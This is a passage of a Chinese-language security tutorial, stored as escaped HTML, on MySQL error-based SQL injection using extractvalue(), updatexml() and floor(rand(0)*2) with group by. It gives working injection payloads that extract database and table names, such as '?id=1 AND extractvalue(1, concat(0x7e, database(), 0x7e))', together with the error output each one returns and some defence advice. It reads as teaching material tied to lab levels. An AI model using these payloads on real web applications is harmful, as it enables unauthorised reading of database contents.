\u8fd4\u56de\u7ed3\u679c\u9650\u5236\u572832\u4f4d\u5b57\u7b26\u3002<\/p>\n<p>extractvalue(456,concat(0x7e,version()&#xff0c;0x7e)) <\/p>\n<h6 id=\"rIZH8\">6.3.4.1.3. \u6b63\u5e38\u4f7f\u7528\u793a\u4f8b<\/h6>\n<p id=\"uf8b23f14\">\u5047\u8bbe\u5b58\u5728XML\u5b57\u7b26\u4e32&lt;book&gt;&lt;title&gt;MySQL\u6559\u7a0b&lt;\/title&gt;&lt;\/book&gt;&#xff0c;\u63d0\u53d6\u4e66\u540d\u7684SQL\u8bed\u53e5\u4e3a&#xff1a;<\/p>\n<p>SELECT EXTRACTVALUE(&#039;&lt;book&gt;&lt;title&gt;MySQL\u6559\u7a0b&lt;\/title&gt;&lt;\/book&gt;&#039;, &#039;\/\/title&#039;);<\/p>\n<p>\u5373\u63d0\u53d6\u67d0\u8282\u70b9\u7684title\u8282\u70b9\u503c <\/p>\n<p id=\"uc94614bc\">\u6267\u884c\u7ed3\u679c&#xff1a;\u8fd4\u56deMySQL\u6559\u7a0b&#xff08;\u5339\u914d\u5230\u7684\u8282\u70b9\u6587\u672c\u503c&#xff09;\u3002<\/p>\n<p id=\"u02410e9a\">\u82e5XPath\u8868\u8fbe\u5f0f\u5339\u914d\u591a\u4e2a\u8282\u70b9&#xff08;\u5982&lt;a&gt;&lt;b&gt;x&lt;\/b&gt;&lt;b&gt;y&lt;\/b&gt;&lt;\/a&gt;&#xff09;&#xff0c;\u7ed3\u679c\u4f1a\u7528\u7a7a\u683c\u5206\u9694&#xff1a;<\/p>\n<p>SELECT EXTRACTVALUE(&#039;&lt;a&gt;&lt;b&gt;x&lt;\/b&gt;&lt;b&gt;y&lt;\/b&gt;&lt;\/a&gt;&#039;, &#039;\/a\/b&#039;);<\/p>\n<p>\u5373\u63d0\u53d6a\u8282\u70b9\u7684b\u8282\u70b9 <\/p>\n<p id=\"u133ccae4\">\u6267\u884c\u7ed3\u679c&#xff1a;x y\u3002<\/p>\n<p id=\"u23ad7011\">\u60f3\u8981\u67e5\u8be2\u4e66\u540d<\/p>\n<p>select extractvalue(doc,&#039;\/book\/title&#039;) from xml; <\/p>\n<h6 id=\"ZgkM5\">6.3.4.1.4. \u5b89\u5168\u98ce\u9669&#xff1a;\u5982\u4f55\u88ab\u7528\u4e8eSQL\u6ce8\u5165&#xff1f;<\/h6>\n<p id=\"u15151daf\">extractvalue()\u7684\u81f4\u547d\u6f0f\u6d1e\u5728\u4e8e&#xff1a;<\/p>\n<p id=\"u4b7df5c1\">\u82e5xpath_expr\u53c2\u6570\u4e0d\u7b26\u5408XPath\u8bed\u6cd5\u89c4\u8303&#xff0c;\u6570\u636e\u5e93\u4f1a\u629b\u51fa\u9519\u8bef&#xff0c;\u5e76\u5c06\u975e\u6cd5\u53c2\u6570\u5185\u5bb9\u4f5c\u4e3a\u9519\u8bef\u4fe1\u606f\u8fd4\u56de\u3002\u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e00\u7279\u6027&#xff0c;\u6784\u9020\u6076\u610fPayload&#xff0c;\u5c06\u654f\u611f\u6570\u636e&#xff08;\u5982\u5e93\u540d\u3001\u8868\u540d&#xff09;\u5d4c\u5165\u9519\u8bef\u4fe1\u606f\u4e2d\u6cc4\u9732\u3002<\/p>\n<h6 id=\"Tr5Np\">6.3.4.1.5. \u5982\u4f55\u62a5\u9519<\/h6>\n<p id=\"u294e5b33\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"471\" id=\"ub2d97f81\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131644-697374bc28810.png\" width=\"859\" \/><\/p>\n<h6 id=\"f96at\">6.3.4.1.6. \u5b9e\u6218Payload\u793a\u4f8b<\/h6>\n<ul>\n<li id=\"uedf983cc\">\u7206\u6570\u636e\u5e93\u540d&#xff1a;<\/li>\n<\/ul>\n<p>?id&#061;1 AND extractvalue(1, concat(0x7e, database(), 0x7e))<\/p>\n<p>\u7b2c\u4e00\u4e2a\u53c2\u65701<br \/>\n\u662f\u65e0\u6548\u5360\u4f4d\u7b26&#xff08;\u653b\u51fb\u8005\u4e0d\u9700\u8981\u771f\u6b63\u89e3\u6790XML&#xff0c;\u4ec5\u4e3a\u6ee1\u8db3\u51fd\u6570\u53c2\u6570\u683c\u5f0f&#xff09;\u3002<\/p>\n<p>\u7b2c\u4e8c\u4e2a\u53c2\u6570concat(0x7e, database(), 0x7e)<br \/>\n\u662f\u6784\u9020\u7684\u975e\u6cd5XPath\u8868\u8fbe\u5f0f&#xff1a;<br \/>\n\u82e5\u8868\u8fbe\u5f0f\u4e0d\u7b26\u5408XPath\u8bed\u6cd5&#xff0c;\u6570\u636e\u5e93\u4f1a\u62a5\u9519\u5e76\u8fd4\u56de\u8be5\u8868\u8fbe\u5f0f\u5185\u5bb9&#xff08;\u8fd9\u662f\u6f0f\u6d1e\u5173\u952e&#xff09;\u3002<\/p>\n<p>concat()\u662f\u5b57\u7b26\u4e32\u62fc\u63a5\u51fd\u6570&#xff0c;\u5c06\u591a\u4e2a\u5b57\u7b26\u4e32\u5408\u5e76\u4e3a\u4e00\u4e2a\u3002 <\/p>\n<p id=\"u089bbd8d\">\u89e3\u91ca&#xff1a;<\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u92b84c24\">0x7e\u662fASCII\u7801\u7684~&#xff0c;\u7528\u4e8e\u5206\u9694\u9519\u8bef\u4fe1\u606f\u548c\u654f\u611f\u6570\u636e\u3002<\/li>\n<li id=\"ub13279b0\">database()\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/li>\n<li id=\"ufdfdb5d6\">\u6267\u884c\u540e&#xff0c;\u9519\u8bef\u4fe1\u606f\u4f1a\u5305\u542b~security~&#xff0c;\u76f4\u63a5\u6cc4\u9732\u6570\u636e\u5e93\u540d\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"u6a624c0b\">\u7206\u8868\u540d&#xff1a;<\/li>\n<\/ul>\n<p>?id&#061;1 AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema&#061;database()), 0x7e)) <\/p>\n<p id=\"ua0191a6a\">\u89e3\u91ca&#xff1a;\u901a\u8fc7\u5b50\u67e5\u8be2\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u7684\u6240\u6709\u8868\u540d&#xff0c;\u5e76\u5d4c\u5165\u9519\u8bef\u4fe1\u606f\u3002<\/p>\n<h6 id=\"VBD5L\">6.3.4.1.7. \u9632\u5fa1\u5efa\u8bae<\/h6>\n<li id=\"ue6568525\">\u5173\u95ed\u9519\u8bef\u56de\u663e&#xff1a;\u5728\u751f\u4ea7\u73af\u5883\u4e2d&#xff0c;\u7981\u7528\u6570\u636e\u5e93\u9519\u8bef\u4fe1\u606f\u76f4\u63a5\u8f93\u51fa\u5230\u524d\u7aef&#xff08;\u5982PHP\u4e2d\u8bbe\u7f6edisplay_errors&#061;Off&#xff09;\u3002<\/li>\n<li id=\"u805cbd33\">\u4f7f\u7528\u9884\u7f16\u8bd1\u8bed\u53e5&#xff1a;\u901a\u8fc7PreparedStatement\u6216ORM\u6846\u67b6&#xff08;\u5982MyBatis&#xff09;\u7ed1\u5b9a\u53c2\u6570&#xff0c;\u907f\u514dSQL\u62fc\u63a5\u3002<\/li>\n<li id=\"uc790c993\">\u8f93\u5165\u8fc7\u6ee4&#xff1a;\u5bf9\u7528\u6237\u8f93\u5165\u7684\u7279\u6b8a\u5b57\u7b26&#xff08;\u5982\u5355\u5f15\u53f7\u3001\u62ec\u53f7&#xff09;\u8fdb\u884c\u8f6c\u4e49\u6216\u8fc7\u6ee4\u3002<\/li>\n<li id=\"u9828a7a2\">\u6700\u5c0f\u6743\u9650\u539f\u5219&#xff1a;\u6570\u636e\u5e93\u8d26\u53f7\u4ec5\u6388\u4e88\u5fc5\u8981\u6743\u9650&#xff08;\u5982\u7981\u6b62SELECT\u654f\u611f\u7cfb\u7edf\u8868information_schema&#xff09;\u3002<\/li>\n<h6 id=\"XN759\">6.3.4.1.8. \u53ef\u4ee5\u770b\u4e00\u4e0blevel5\u8fd9\u4e2a\u9898\u76ee<\/h6>\n<h6 id=\"icxoM\">6.3.4.2. updatexml\u62a5\u9519\u6ce8\u5165<\/h6>\n<h6 id=\"WJoYU\">6.3.4.2.1. \u57fa\u7840\u5b9a\u4e49&#xff1a;updatexml()\u662f\u4ec0\u4e48&#xff1f;<\/h6>\n<p id=\"ub20a2a49\">updatexml()\u662fMySQL\u7684XML\u6587\u6863\u66f4\u65b0\u51fd\u6570&#xff0c;\u7528\u4e8e\u4fee\u6539XML\u7247\u6bb5\u4e2d\u6307\u5b9a\u8282\u70b9\u7684\u5185\u5bb9\u3002<\/p>\n<p id=\"u28630157\">\u5b83\u548cextractvalue()\u540c\u5c5eXML\u51fd\u6570\u5bb6\u65cf&#xff0c;\u4f46\u56e0\u62a5\u9519\u673a\u5236\u540c\u6837\u88ab\u5e7f\u6cdb\u7528\u4e8eSQL\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n<p id=\"u35fcb8fc\">\/\/XML \u53ef\u6269\u5c55\u6807\u8bb0\u8bed\u8a00<\/p>\n<p id=\"uad5875f8\">\/\/HTML\u8d85\u5168\u5c40\u8bed\u8a00<\/p>\n<h6 id=\"hvzu2\">6.3.4.2.2. \u8bed\u6cd5\u4e0e\u6b63\u5e38\u7528\u6cd5<\/h6>\n<p>UPDATEXML(xml_frag, xpath_expr, new_val) <\/p>\n<ul>\n<li id=\"ufa6c973d\">xml_frag&#xff1a;\u8981\u4fee\u6539\u7684XML\u7247\u6bb5&#xff08;\u5982&lt;a&gt;&lt;b&gt;old&lt;\/b&gt;&lt;\/a&gt;&#xff09;\u3002<\/li>\n<li id=\"u78acc77a\">xpath_expr&#xff1a;\u5b9a\u4f4d\u8282\u70b9\u7684XPath\u8868\u8fbe\u5f0f&#xff08;\u5982\/a\/b&#xff09;\u3002<\/li>\n<li id=\"u41ce40f4\">new_val&#xff1a;\u66ff\u6362\u8282\u70b9\u7684\u65b0\u503c&#xff08;\u5982new&#xff09;\u3002<\/li>\n<\/ul>\n<p id=\"u197bcd25\">updatexml\u51fd\u6570\u5728\u6267\u884c\u65f6&#xff0c;\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5e94\u4e3a\u5408\u6cd5\u7684XPATH\u8def\u5f84&#xff0c;\u5426\u5219\u4f1a\u5728\u5f15\u53d1\u62a5\u9519\u7684\u540c\u65f6\u5c06\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u8f93\u51fa\u3002<\/p>\n<p id=\"uc20fd51e\">\u3010\u82e5\u8def\u5f84\u5199\u9519&#xff0c;\u4f1a\u51fa\u73b0\u8def\u5f84\u62a5\u9519&#xff0c;\u6bd4\u5982&#xff0c;\u6211\u5728C\u76d8\u91cc\u65b0\u5efa\u6587\u4ef6\u5939&#xff0c;\u7136\u540e\u5220\u6389&#xff0c;\u5728\u7535\u8111\u91cc\u8f93\u5165\u8fd9\u4e2a\u65b0\u5efa\u6587\u4ef6\u5939\u7684\u8def\u5f84&#xff0c;\u6b64\u65f6\u4f1a\u51fa\u73b0\u6587\u4ef6\u62a5\u9519\u3002\u3011<\/p>\n<p>?id&#061;1&#039; or updatexml(1,concat(0x7e,(select users from wp_user),0x7e),1)<\/p>\n<p>\/\/concat \u5c06\u4e09\u8005\u8fde\u63a5\u5728\u4e00\u8d77<br \/>\n\/\/0x7e\u662f\u5341\u516d\u8fdb\u5236<\/p>\n<p>\u5229\u7528\u6570\u636e\u5e93\u6267\u884c\u62a5\u9519&#xff1a;\u4ece\u91cc\u5230\u5916\u6267\u884c<br \/>\nselect updatexml(1,concat(0x7e,(select database&#xff08;&#xff09;),0x7e),1)<br \/>\n\u5148\u6267\u884c&#xff08;&#xff09;&#xff0c;&#xff0c;\u7136\u540e\u753b\u6a2a\u7ebf\u7684&#xff0c;\u8fd9\u4e2a\u65f6\u5019updatexml\u4f1a\u62a5\u9519&#xff0c;&#xff0c;\u8def\u5f84\u9519\u8bef<br \/>\n\u62a5\u9519\u65f6\u4f1a\u8f93\u51fa\u9519\u8bef\u7684\u6570\u636e\u5e93\u540d&#xff0c;&#xff0c;\u90a3\u5c31\u53ef\u4ee5\u77e5\u9053\u539f\u5148\u7684\u6570\u636e\u5e93\u540d<\/p>\n<p id=\"u4cf70c67\">\u6b63\u5e38\u793a\u4f8b&#xff1a;<\/p>\n<p>SELECT UPDATEXML(&#039;&lt;a&gt;&lt;b&gt;old&lt;\/b&gt;&lt;\/a&gt;&#039;, &#039;\/a\/b&#039;, &#039;new&#039;); <\/p>\n<p id=\"u345e61cf\">\u6267\u884c\u7ed3\u679c&#xff1a;\u8fd4\u56de\u4fee\u6539\u540e\u7684XML\u7247\u6bb5&lt;a&gt;&lt;b&gt;new&lt;\/b&gt;&lt;\/a&gt;\u3002<\/p>\n<h6 id=\"ACisW\">6.3.4.2.3. \u6ce8\u5165\u539f\u7406&#xff1a;\u4e3a\u4ec0\u4e48\u80fd\u7528\u4e8e\u62a5\u9519\u6ce8\u5165&#xff1f;<\/h6>\n<p id=\"u9ceda0eb\">updatexml()\u7684\u6f0f\u6d1e\u903b\u8f91\u4e0eextractvalue()\u5b8c\u5168\u4e00\u81f4&#xff1a;<\/p>\n<ul>\n<li id=\"u357b2559\">\u82e5xpath_expr\u53c2\u6570\u4e0d\u7b26\u5408XPath\u8bed\u6cd5&#xff08;\u5982\u5305\u542b\u975e\u6cd5\u5b57\u7b26~&#xff09;&#xff0c;\u6570\u636e\u5e93\u4f1a\u629b\u51fa\u9519\u8bef&#xff0c;\u5e76\u5c06\u8be5\u8868\u8fbe\u5f0f\u5185\u5bb9\u4f5c\u4e3a\u9519\u8bef\u4fe1\u606f\u8fd4\u56de\u3002<\/li>\n<li id=\"u120cfce5\">\u653b\u51fb\u8005\u901a\u8fc7concat()\u62fc\u63a5\u654f\u611f\u6570\u636e&#xff08;\u5982\u6570\u636e\u5e93\u540d&#xff09;\u5230\u975e\u6cd5\u8868\u8fbe\u5f0f\u4e2d&#xff0c;\u5229\u7528\u62a5\u9519\u76f4\u63a5\u6cc4\u9732\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<h6 id=\"QBAv9\">6.3.4.2.4. \u7ecf\u5178\u6ce8\u5165Payload\u62c6\u89e3<\/h6>\n<p id=\"u6056f985\">\u4ee5\u6cc4\u9732\u5f53\u524d\u6570\u636e\u5e93\u540d\u4e3a\u4f8b&#xff0c;Payload\u4e3a&#xff1a;<\/p>\n<p>updatexml(1, concat(0x7e, database(), 0x7e), 1) <\/p>\n<p id=\"uff687666\">\u5404\u90e8\u5206\u4f5c\u7528&#xff1a;<\/p>\n<li id=\"uf97a5d33\">updatexml(1, &#8230;, 1)&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u24ab9fd8\">\u7b2c\u4e00\u4e2a\u53c2\u65701\u662f\u65e0\u6548\u5360\u4f4d\u7b26&#xff08;\u4ec5\u6ee1\u8db3\u51fd\u6570\u683c\u5f0f&#xff09;\u3002<\/li>\n<li id=\"u210e0776\">\u7b2c\u4e09\u4e2a\u53c2\u65701\u4e5f\u662f\u65e0\u6548\u5360\u4f4d\u7b26&#xff08;\u653b\u51fb\u8005\u4e0d\u9700\u8981\u771f\u6b63\u4fee\u6539XML&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u67a77626\">concat(0x7e, database(), 0x7e)&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u9c1b6d47\">0x7e&#xff1a;\u5341\u516d\u8fdb\u5236\u7684~&#xff08;\u7834\u574fXPath\u8bed\u6cd5&#xff0c;\u5f3a\u5236\u62a5\u9519&#xff09;\u3002<\/li>\n<li id=\"u67ac2284\">database()&#xff1a;\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/li>\n<li id=\"uce7b3751\">\u62fc\u63a5\u540e\u751f\u6210&#xff1a;~security~&#xff08;\u975e\u6cd5XPath\u8868\u8fbe\u5f0f&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"ucafaa1e6\">\u6267\u884c\u7ed3\u679c&#xff1a;<\/p>\n<p id=\"u9c773fbd\">\u6570\u636e\u5e93\u62a5\u9519\u5e76\u8fd4\u56de&#xff1a;<\/p>\n<p id=\"u0826bf7e\">XPATH syntax error: &#039;~security~&#039; \u653b\u51fb\u8005\u76f4\u63a5\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u8bfb\u53d6security&#xff08;\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff09;\u3002<\/p>\n<h6 id=\"KXhQz\">6.3.4.2.5. \u4e0eextractvalue()\u7684\u5bf9\u6bd4<\/h6>\n<table id=\"SvXhf\">\n<tbody>\n<tr>\n<td>\n<p id=\"u9fe673ab\">\u7ef4\u5ea6<\/p>\n<\/td>\n<td>\n<p id=\"u276fd0ab\">extractvalue()<\/p>\n<\/td>\n<td>\n<p id=\"u751d3858\">updatexml()<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ueae8d68f\">\u539f\u59cb\u529f\u80fd<\/p>\n<\/td>\n<td>\n<p id=\"u2d9ac0bd\">\u63d0\u53d6XML\u8282\u70b9\u503c<\/p>\n<\/td>\n<td>\n<p id=\"u3413be59\">\u4fee\u6539XML\u8282\u70b9\u503c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u20e6a07e\">\u6ce8\u5165\u539f\u7406<\/p>\n<\/td>\n<td>\n<p id=\"u22972d98\">\u975e\u6cd5XPath\u89e6\u53d1\u62a5\u9519<\/p>\n<\/td>\n<td>\n<p id=\"u5f301aa5\">\u975e\u6cd5XPath\u89e6\u53d1\u62a5\u9519<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u3c9d29e8\">Payload\u5dee\u5f02<\/p>\n<\/td>\n<td>\n<p id=\"ud72f2d9f\">\u4ec5\u97002\u4e2a\u53c2\u6570&#xff08;\u65e0\u9700\u66ff\u6362\u503c&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"ucbd28574\">\u97003\u4e2a\u53c2\u6570&#xff08;\u7b2c\u4e09\u4e2a\u53c2\u6570\u4e3a\u65e0\u6548\u5360\u4f4d\u7b26&#xff09;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ua3ce201e\">\u6570\u636e\u957f\u5ea6\u9650\u5236<\/p>\n<\/td>\n<td>\n<p id=\"ud1a81d55\">\u62a5\u9519\u4fe1\u606f\u6700\u591a\u8fd4\u56de32\u4e2a\u5b57\u7b26<\/p>\n<\/td>\n<td>\n<p id=\"u0a2854da\">\u62a5\u9519\u4fe1\u606f\u6700\u591a\u8fd4\u56de32\u4e2a\u5b57\u7b26<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h6 id=\"JivBr\">6.3.4.2.6. \u9632\u5fa1\u5efa\u8bae<\/h6>\n<li id=\"u3765d8b4\">\u5173\u95ed\u9519\u8bef\u56de\u663e&#xff1a;\u751f\u4ea7\u73af\u5883\u7981\u7528\u6570\u636e\u5e93\u9519\u8bef\u76f4\u63a5\u8f93\u51fa\u5230\u524d\u7aef&#xff08;\u5982PHP\u8bbe\u7f6edisplay_errors&#061;Off&#xff09;\u3002<\/li>\n<li id=\"ub4f7a3de\">\u8f93\u5165\u8fc7\u6ee4&#xff1a;\u5bf9\u7528\u6237\u8f93\u5165\u7684XPath\u76f8\u5173\u53c2\u6570\u4e25\u683c\u6821\u9a8c&#xff0c;\u8fc7\u6ee4~\u3001\u5355\u5f15\u53f7\u7b49\u7279\u6b8a\u5b57\u7b26\u3002<\/li>\n<li id=\"u6cf49a8d\">\u4f7f\u7528\u9884\u7f16\u8bd1\u8bed\u53e5&#xff1a;\u901a\u8fc7PreparedStatement\u6216ORM\u6846\u67b6\u7ed1\u5b9a\u53c2\u6570&#xff0c;\u907f\u514dSQL\u62fc\u63a5\u3002<\/li>\n<h6 id=\"ATPMw\">6.3.4.2.7. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n<p id=\"u35b4805a\">updatexml()\u662fXML\u4fee\u6539\u5de5\u5177&#xff0c;\u4f46\u56e0\u62a5\u9519\u673a\u5236\u6210\u4e3aSQL\u6ce8\u5165\u7684\u201c\u5e38\u7528\u6b66\u5668\u201d\u3002\u9632\u5fa1\u6838\u5fc3\u662f\u5c4f\u853d\u9519\u8bef\u4fe1\u606f&#043;\u4e25\u683c\u8fc7\u6ee4\u8f93\u5165&#xff0c;\u5207\u65ad\u653b\u51fb\u8005\u5229\u7528\u62a5\u9519\u6cc4\u9732\u6570\u636e\u7684\u8def\u5f84 &#x1f6e1;\ufe0f\u3002<\/p>\n<h6 id=\"IH6nn\">6.3.4.2.8. level4\u53ef\u4ee5\u7528\u8fd9\u4e2a\u65b9\u6cd5<\/h6>\n<h6 id=\"rikAG\">6.3.4.3. floor()\u62a5\u9519\u6ce8\u5165<\/h6>\n<p id=\"u5ae423fe\">\u3010\u5411\u4e0a\u53d6\u6574\u6570ceiling()\u3011<\/p>\n<h6 id=\"uVtso\">6.3.4.3.1. \u57fa\u7840\u5b9a\u4e49&#xff1a;floor()\u662f\u4ec0\u4e48&#xff1f;<\/h6>\n<p id=\"u4097ee99\">floor()\u662fMySQL\u7684\u6570\u5b66\u51fd\u6570&#xff0c;<\/p>\n<p id=\"u16d5a66d\">\u4f5c\u7528\u662f\u5411\u4e0b\u53d6\u6574&#xff08;\u8fd4\u56de\u5c0f\u4e8e\u7b49\u4e8e\u8f93\u5165\u503c\u7684\u6700\u5927\u6574\u6570&#xff09;\u3002<\/p>\n<p id=\"ud2e52195\">\u4f8b\u5982floor(3.9)\u8fd4\u56de3&#xff0c;floor(-2.1)\u8fd4\u56de-3\u3002<\/p>\n<h6 id=\"GCdf1\">6.3.4.3.2. \u8bed\u6cd5&#xff1a;<\/h6>\n<p>FLOOR(number) <\/p>\n<h6 id=\"Fbik4\">6.3.4.3.3. \u6ce8\u5165\u539f\u7406&#xff1a;\u4e3a\u4ec0\u4e48\u80fd\u7528\u4e8e\u201c\u76f2\u6ce8\u201d&#xff1f;<\/h6>\n<p id=\"u293f7795\">floor()\u672c\u8eab\u4e0d\u76f4\u63a5\u89e6\u53d1\u62a5\u9519&#xff0c;\u4f46\u5e38\u4e0erand()\u3001group by\u7ec4\u5408&#xff0c;\u901a\u8fc7\u4e3b\u952e\u51b2\u7a81\u5f3a\u5236\u6570\u636e\u5e93\u62a5\u9519&#xff0c;\u4ece\u800c\u6cc4\u9732\u6570\u636e\u3002<\/p>\n<p id=\"uc8aad1f6\">\u8fd9\u79cd\u624b\u6cd5\u79f0\u4e3a**\u201cfloor()\u76f2\u6ce8\u201d**&#xff0c;<\/p>\n<p id=\"u75387cd8\">\u6838\u5fc3\u903b\u8f91\u662f&#xff1a;<\/p>\n<li id=\"u360fb6c8\">rand()\u751f\u6210\u968f\u673a\u6570&#xff1a;rand()\u6bcf\u6b21\u6267\u884c\u8fd4\u56de0~1\u7684\u968f\u673a\u6d6e\u70b9\u6570&#xff08;\u59820.78&#xff09;\u3002<\/li>\n<li id=\"u4d3968c7\">floor(rand(0)*2)\u56fa\u5b9a\u968f\u673a\u5e8f\u5217&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"ud02e980e\">rand(0)&#xff1a;\u8bbe\u7f6e\u968f\u673a\u79cd\u5b50\u4e3a0&#xff0c;\u8ba9\u968f\u673a\u5e8f\u5217\u56fa\u5b9a&#xff08;\u59820,1,1,0,1&#8230;&#xff09;\u3002<\/li>\n<li id=\"u4a3d26fe\">*2&#xff1a;\u5c06\u8303\u56f4\u6269\u5927\u52300~2&#xff0c;floor()\u540e\u5f97\u52300\u62161&#xff08;\u56fa\u5b9a\u5e8f\u5217&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u1773e03e\">group by\u5206\u7ec4\u51b2\u7a81&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"ufecbc387\">group by\u4f1a\u521b\u5efa\u4e34\u65f6\u8868\u5b58\u50a8\u5206\u7ec4\u7ed3\u679c&#xff0c;\u82e5floor(rand(0)*2)\u751f\u6210\u7684\u968f\u673a\u6570\u91cd\u590d&#xff0c;\u4e34\u65f6\u8868\u4e3b\u952e\u51b2\u7a81&#xff0c;\u89e6\u53d1\u62a5\u9519\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"uea604e0c\">\u62fc\u63a5\u654f\u611f\u6570\u636e&#xff1a;\u653b\u51fb\u8005\u5c06concat(0x7e, database(), 0x7e)&#xff08;\u6570\u636e\u5e93\u540d&#xff09;\u62fc\u63a5\u5230floor()\u4e2d&#xff0c;\u8ba9\u62a5\u9519\u4fe1\u606f\u5305\u542b\u654f\u611f\u6570\u636e\u3002<\/li>\n<p id=\"u2da20962\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"360\" id=\"uc34e8ae1\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131644-697374bc67ac0.png\" width=\"953\" \/><\/p>\n<p id=\"ud3c4370a\">\u601d\u8003<\/p>\n<p>select floor(rand()*2) from users; \u6839\u636eusers\u7684\u884c\u6570\u968f\u673a\u663e\u793a0\u62161<br \/>\nselect floor(rand(0)*2) from users; \u8ba1\u7b97\u673a\u4e0d\u518d\u968f\u673a&#xff0c;\u800c\u662f\u6309\u4e00\u5b9a\u987a\u5e8f\u6392\u5e8f<br \/>\nselect floor(rand(1)*2) from users; \u8ba1\u7b97\u673a\u4e0d\u518d\u968f\u673a&#xff0c;\u800c\u662f\u6309\u4e00\u5b9a\u987a\u5e8f\u6392\u5e8f<\/p>\n<p>rand()\u65e0\u79cd\u5b50\u7684\u201c\u968f\u673a\u62bd\u5956\u7bb1\u201d<br \/>\n\u4f8b\u5b50&#xff1a;<br \/>\n\u79cd\u5b500\u7684\u56fa\u5b9a\u5e8f\u5217&#xff1a;0,1,1,0,1&#8230;&#xff08;\u62bd\u7b2c1\u6b21\u662f0&#xff0c;\u7b2c2\u6b21\u662f1&#xff0c;\u7b2c3\u6b21\u662f1&#xff0c;\u4ee5\u6b64\u7c7b\u63a8&#xff09;\u3002<br \/>\n\u79cd\u5b501\u7684\u56fa\u5b9a\u5e8f\u5217&#xff1a;1,0,1,1,0&#8230;&#xff08;\u62bd\u7b2c1\u6b21\u662f1&#xff0c;\u7b2c2\u6b21\u662f0&#xff0c;\u7b2c3\u6b21\u662f1&#xff0c;\u4ee5\u6b64\u7c7b\u63a8&#xff09;\u3002 <\/p>\n<h6 id=\"NQpcQ\">6.3.4.3.4. \u7ecf\u5178\u6ce8\u5165Payload\u62c6\u89e3<\/h6>\n<p id=\"u240bc66e\">\u4ee5\u6cc4\u9732\u5f53\u524d\u6570\u636e\u5e93\u540d\u4e3a\u4f8b&#xff0c;Payload\u4e3a&#xff1a;<\/p>\n<p>select count(*), concat(0x7e, database(), 0x7e, floor(rand(0)*2)) as a from users group by a; <\/p>\n<p id=\"uef6dad3b\">\u5404\u90e8\u5206\u4f5c\u7528&#xff1a;<\/p>\n<li id=\"u3a684834\">count(*)&#xff1a;\u7edf\u8ba1\u884c\u6570&#xff08;\u4ec5\u4e3a\u6ee1\u8db3group by\u8bed\u6cd5&#xff09;\u3002<\/li>\n<li id=\"u7c120bd1\">concat(0x7e, database(), 0x7e, floor(rand(0)*2))&#xff1a;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u5ba759cb\">0x7e&#xff1a;\u6ce2\u6d6a\u7ebf~&#xff08;\u6807\u8bb0\u654f\u611f\u6570\u636e&#xff09;\u3002<\/li>\n<li id=\"ud8f540d4\">database()&#xff1a;\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/li>\n<li id=\"ud8660fd5\">floor(rand(0)*2)&#xff1a;\u751f\u6210\u56fa\u5b9a\u968f\u673a\u5e8f\u52170\/1\u3002<\/li>\n<li id=\"ucb9f6ee1\">\u62fc\u63a5\u540e\u751f\u6210&#xff1a;~security~0\u6216~security~1\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"ueb2bde1a\">group by a&#xff1a;\u6309\u62fc\u63a5\u540e\u7684\u5b57\u7b26\u4e32\u5206\u7ec4&#xff0c;\u56e0\u968f\u673a\u5e8f\u5217\u56fa\u5b9a&#xff0c;\u5fc5\u7136\u89e6\u53d1\u4e3b\u952e\u51b2\u7a81\u3002<\/li>\n<p id=\"u2fb5bb5a\">\u6267\u884c\u7ed3\u679c&#xff1a;<\/p>\n<p id=\"u2a4a7655\">\u6570\u636e\u5e93\u62a5\u9519\u5e76\u8fd4\u56de&#xff1a;<\/p>\n<p id=\"u71405e0d\">Duplicate entry &#039;~security~1&#039; for key &#039;group_key&#039; \u653b\u51fb\u8005\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u8bfb\u53d6security&#xff08;\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff09;\u3002<\/p>\n<p id=\"ud89fd059\">\u5c0f\u5267\u573a\u573a\u666f&#xff1a;<\/p>\n<li 